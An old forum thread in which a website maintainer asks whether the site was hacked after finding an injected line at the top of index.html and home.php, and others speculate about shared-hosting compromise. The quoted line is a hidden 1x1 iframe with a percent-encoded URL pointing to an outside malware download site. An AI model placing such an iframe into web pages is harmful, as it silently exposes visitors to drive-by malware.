Is my website being hacked?


OSNN Senior Addict
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Ok, i went to check on a site I maintain, and the page did not display, instead i was routed to download a wmf file.

the two files that the page uses to launch.. index.html, and home.php had the following lines of code at the top of each file:

<iframe src= http://%77%77%77%2E%74%72%75%73%74%34%66%72%65%65%2E%77%73?id=index12 frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>
I didnt check the file last modified date... i just made the correction without thinking.

has anyone ever heard of this happening?
what happened!


MS-DOS 2.0
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I had the same thing happen to me. It's clearly a hack of some sort, since I'm on a paid host. I checked the "last modified" date and then my access logs, which revealed nothing out of the ordinary. I have a feeling that, since I'm on a shared host, someone else on the server was running vulnerable software (or maybe even the server itself) and just searched for every "public_html/index.html" (and probably other files like "home.php" there) it could find on the server.

Unfortunately, I wish I had some answers as to its origin. I haven't been able to find any information myself.



OSNN Senior Addict
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some things i have been looking at in the logs...
under browser lists, i see something called Curl. Never heard of it.

I googled Curl... what does this mean:
curl is a command line tool for transferring files with URL syntax, supporting FTP, FTPS, TFTP, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE and LDAP. curl supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberos...), file transfer resume, proxy tunneling and a busload of other useful tricks.
According to the stats page, only 1 user has curl, 1 hit registered. looks odd, thats why i bring it up.

the site is hosted on ive reported it to them.
The url the iframe points to is a shady looking site:


OSNN Senior Addict
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i feel sick to my stomach.
ipowerweb seems to be the problem.

i wont be renewing with them thats for sure.
what a piss off.

thanks guys, reps


I may actually be insane.
It could just be a vulnerable install of some web based software (awstats, phpBB, etc.) on the same server as your site.

Happened to me, site was blatantly de-faced though so it was spotted straight away.

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